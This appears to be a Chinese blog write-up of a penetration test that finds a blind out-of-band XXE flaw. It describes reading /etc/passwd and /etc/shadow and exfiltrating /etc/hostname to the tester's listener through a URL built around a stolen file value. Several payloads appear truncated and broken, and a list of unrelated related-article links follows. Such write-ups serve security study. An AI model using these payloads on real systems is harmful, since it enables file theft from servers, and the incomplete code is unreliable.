0x01背景:

kaiputenku大佬最近在挖洞的时候偶遇一枚XXE漏洞,身经百战的他经过一番爱恨纠缠,终将她顺利拿下~

0x02纠缠一番只为她-Blind OOB XXE:

在测试某系统的某查询功能模块如下:

  • 查询模块.jpg(请各位大佬自行脑补)

  • 下面即将开始kaiputenku的表演

首先使用burp抓包,发现提交xml形式的数据包,很容易想到可能存在XML外部实体注入

尝试构造以下payload读取/etc/shadow文件:

<?xml version="1.0" encoding="utf-8"?>]><root>&file;root>

HTTP回显报错Permission denied,说明payload成功执行,证明确实存在XML外部实体注入,只是用户权限不足读取失败

尝试构造以下payload读取/etc/passwd文件

<?xml version="1.0" encoding="utf-8"?>]><root>&file;root>

发现HTTP回显正常,但是没有我们想要的passwd文件信息,说明是Blind XXE漏洞

Blind XXE漏洞有两种常见的利用方式,ftp读回显和http读回显

  • 尝试ftp读回显

测试主机ip为10.xx.xx.31

1)在测试主机上开启Web服务,并创建eval.dtd文件,内容如下

2)在测试主机上下载并运行xxe-ftp-server.rb,运行后会在2121端口开启ftp服务,脚本下载地址:https://github.com/ONsec-Lab/scripts

3)构造如下payload并发起请求

<?xml version="1.0" encoding="utf-8"?>%asd;%c;]><a>&rrr;a>

发现HTTP回显Connection refused

在测试主机Web日志中发现目标主机已经成功下载了evil.dtd文件,但是HTTP又回显Connection refused,猜测是ftp服务的问题

直接在浏览器中访问http://10.xx.xx.31:2121/,发现连接被拒绝,这里没搞不明白为什么已经开启了ftp服务并且正在监听[::]:2121还是拒绝连接,换了台测试主机出现同样的问题,花了很长时间没有解决,猜测是内部网络策略的问题,遂放弃,准备尝试HTTP读回显的方式。

  • 尝试http读回显

测试主机ip为10.xx.xx.31

1)在测试主机上开启Web服务,并创建eval.dtd文件,内容如下

2)使用nc进行监听,执行necat.exe -lvvp 8081,监听8081端口

3)构造如下payload并发起请求

%remote;%int;%send;]>

发现HTTP回显Illegal character in URL,说明该payload成功读取到/etc/passwd文件,尝试将/etc/passwd拼接到URL:'http://10.xx.xx.31:8081?p=%file;',但是由于passwd文件中的数据不符合URL构造要求,所以目标主机报Illegal character in URL的错误

所以开始尝试读取较为简单,文本信息较少的文件,比如/etc/hostname文件,里面只是保存了主机名,应该不会有什么特殊字符导致URL不合法

修改测试主机中的evil.dtd文件如下:

再次请求payload,发现该请求一直处于Waiting状态

并且发现necat.exe成功监听到目标主机的Web请求,并且在URL中读取到/etc/hostname文件信息,目标主机名为gp13erxxxxxxx36

0x03总结:

以上即为测试该漏洞的全部过程,由于处于全内网环境,寻找下载工具花了较长时间,ftp拒绝连接的坑也花费了很长时间,最后还是没有解决--.--。但是变通使用necat监听http请求成功读取到了目标主机的文件信息。

当然还有很多玩法,比如内网主机、端口存活扫描,DOS等,大家自己探索~

文件读取 xxe_漏洞笔记|记一次与XXE漏洞的爱恨纠缠相关推荐

  1. XXE漏洞详解(三)——XXE漏洞实际运用

    今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)--XXE漏洞实际运用. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! ...

  2. XXE漏洞详解 一文了解XXE漏洞

    前言 本篇总结归纳XXE漏洞 1.什么是XXE 普通的XML注入 XML外部实体(XML External Entity, XXE) Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以 ...

  3. Xxe漏洞 php,PhpSpreadsheet 1.5.0 XXE漏洞复现及分析

    0x01 前言 PhpSpreadsheet是一个非常流行的纯 PHP 类库,能够让你方便的读写Excel.LibreOffic Calc等表格格式的文件,是PHPExcel的替代者.2018年11月 ...

  4. Web安全 XXE漏洞的 测试和利用.(读取服务器的任何文件 和 收集服务器的内网信息.)

    XXE漏洞概括 XXE漏洞全称(XML External Entity Injection),即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意 ...

  5. mysql任意文件读取漏洞学习

    前言 最近在做ctf题时发现关于mysql任意文件读取漏洞的考点非常频繁,而且一直都朦胧不清,也没去学习,在不久前的DDCTF和国赛,还有最近的Nu1lCTF中都考到了这个点,利用Load data ...

  6. XEE漏洞任意文件读取

    目录 一.XEE漏洞简介 1.什么是XEE漏洞 2.XML介绍 二.XXE 漏洞代码详解 1.XXE 漏洞代码 2.XXE 漏洞演示 3.读取 PHP 文件 三.无回显文件读取 1.实验拓扑 2.Ka ...

  7. windows文件读取 xxe_XXE漏洞学习

    0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...

  8. 掌握R语言文件读取方法

    目标 掌握 R语言文件读取方法 学习笔记 utils包内Date Input用法 base包内readLines用法 stringi包内stri_read_lines xlsx包内Date Input ...

  9. python文件审计_Python代码审计实战案例总结之CRLF和任意文件读取

    文章目录 介绍 CRLF和任意文件读取的审计实战 CRLF 审计实战 urllib CRLF漏洞(CVE-2019-9740和CVE-2019-9947) httplib CRLF 漏洞 任意文件读取 ...

最新文章

  1. 计算机上机报告-origin,Origin 8上机练习1
  2. securecrt连接mysql_使用SecureCRTP 连接生产环境的web服务器和数据库服务器
  3. tensorflow1.0中的改善
  4. opcclient远程连接opc服务器_软件 | 服务器远程连接软件MobaXterm
  5. mysql数据库连接配置路径_[zz]MySQL数据库主从同步安装与配置总结
  6. python3.6.8卸载_Mac 卸载 彻底删除 自己下载的 python 3
  7. Python-深拷贝-浅拷贝-时间消耗
  8. js按键处理demo
  9. python安装环境傻瓜式安装_Python环境安装(两种方式)
  10. js根据name获取value_js 函数的重载
  11. Qt工作笔记-使用Qt中QProcess与iostream中system调用外部进程
  12. #华为云·寻找黑马程序员#【代码重构之路】如何“消除”if/else
  13. 富士康被黑客攻击,索要 2.3 亿元赎金:已加密约1200台服务器,窃取了100 GB的未加密文件,并删除20~30TB的备份
  14. 展开字符串(dfs)
  15. 【非官方】哈工大2022 形式语言与自动机试题解析
  16. html 科赫雪花,CSS3 科赫雪花分形动画
  17. android 获取经纬度的三种方法,Android获取经纬度
  18. KDD_2018_notes Smoothed Dilated Convolutions for Improved Dense Prediction
  19. C语言计算机二级选择题重点,2014年计算机二级C语言重点选择题笔试复习资料.doc...
  20. 啊哈添柴挑战Java1080. 请告诉我谁小?

热门文章

  1. 音频开发中常见的四个错误
  2. Twitch未来五年的视频编码战略:从H.264到 AV1
  3. Java多线程之Callable、Future和FutureTask
  4. 腾讯首位T17级科学家诞生!
  5. nginx模块开发—HTTP初始化之listen
  6. 俞敏洪:如果创业者缺乏这8种能力,失败可能性很大
  7. TensorFlow, PyTorch, Caffe2的比较
  8. 大剑无锋之内存泄漏是什么?【面试推荐】
  9. leetcode 216. Combination Sum III | 216. 组合总和 III(Java)
  10. 【EasyUI】关于EasyUI中numberbox onblur事件失效的问题